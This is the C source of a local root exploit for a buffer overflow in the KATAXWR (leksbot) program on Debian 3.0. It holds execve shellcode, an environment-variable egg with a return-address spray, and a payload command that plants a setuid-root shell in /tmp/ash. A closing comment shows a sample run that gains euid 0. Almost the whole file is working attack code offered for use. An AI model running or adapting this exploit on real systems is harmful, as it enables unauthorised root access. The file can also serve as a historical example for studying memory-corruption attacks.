/* by gunzip 
 * KATAXWR/leksbot local root exploit
 * for Debian Linux 3.0
 * http://www.securityfocus.com/bid/7505
 * change command if you don't like it (gives a root shell in /tmp/ash)
 * http://members.xoom.it/gunzip . more to come
*/
#define COMMAND "cp /bin/ash /tmp && chmod 4755 /tmp/ash"
#define PATH  "/usr/bin/KATAXWR"
#define ADDR  512
#define SIZE  4096
#define OFFSET  2700

char shellcode[] = /* taken from lsd-pl */
    "\xeb\x22"             /* jmp     <cmdshellcode+36>      */
    "\x59"                 /* popl    %ecx                   */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x66\x68""-c"         /* pushw   $0x632d                */
    "\x89\xe7"             /* movl    %esp,%edi              */
    "\x50"                 /* pushl   %eax                   */
    "\x51"                 /* pushl   %ecx                   */
    "\x57"                 /* pushl   %edi                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
    "\xe8\xd9\xff\xff\xff" /* call    <cmdshellcode+2>       */
    COMMAND;

static char cmd[SIZE];

main(int argc, char *argv[])
{
  char buf[ADDR];
  char egg[SIZE];
  int i, offset ;
  unsigned long ret ;
  unsigned long sp = (unsigned long) &sp ;
  printf("Local (possibly) root exploit for /usr/bin/KATAXWR (leksbot)\n"
         "tested on Debian 3.0 - usage: ./ex [offset] - by gunzip\n");  
  if ( argv[1] ) offset = atoi( argv[1] ); else offset = OFFSET ; 
  ret = sp + offset ;
  memset( cmd, 0x00, SIZE );
  memset( buf, 0x00, ADDR );
  memset( egg, 0x41, SIZE );
  memcpy( &egg[ SIZE - strlen( shellcode ) - 1 ], shellcode, strlen( shellcode ));
  memcpy( egg, "EGG=", 4 );
  egg[ SIZE - 1 ] = 0 ;
  putenv( egg );
   for ( i=0; i < ADDR ; i += 4 ) *( unsigned long *)&buf[ i ] = ret;
  *( unsigned long *)&buf[ ADDR - 4 ] =  0x00000000 ; /*  :-?  */
  if (!(ret&0xff)||!(ret&0xff00)||!(ret&0xff0000)||!(ret&0xff000000)) {
    printf("Return address contains null byte(s), change offset and retry.\n");
    exit( -1 );
  }
  printf( "retaddr=0x%.08x offset=%d len=%d\n", (unsigned int)ret, offset, strlen( buf ));
  snprintf ( cmd, SIZE - 4, " echo '%s' | %s", buf, PATH );
  system( cmd );
}
/*
 bash-2.05b$ ./a.out
 retaddr=0xbffff668 offset=2700 len=508
 Please insert the term
 #dwsete tin simasia__#
 Do you want to add an other term?(y-n)
 bash-2.05b$ /tmp/ash
 # id
 uid=1002(test) gid=1002(test) euid=0(root) groups=1002(test)
*/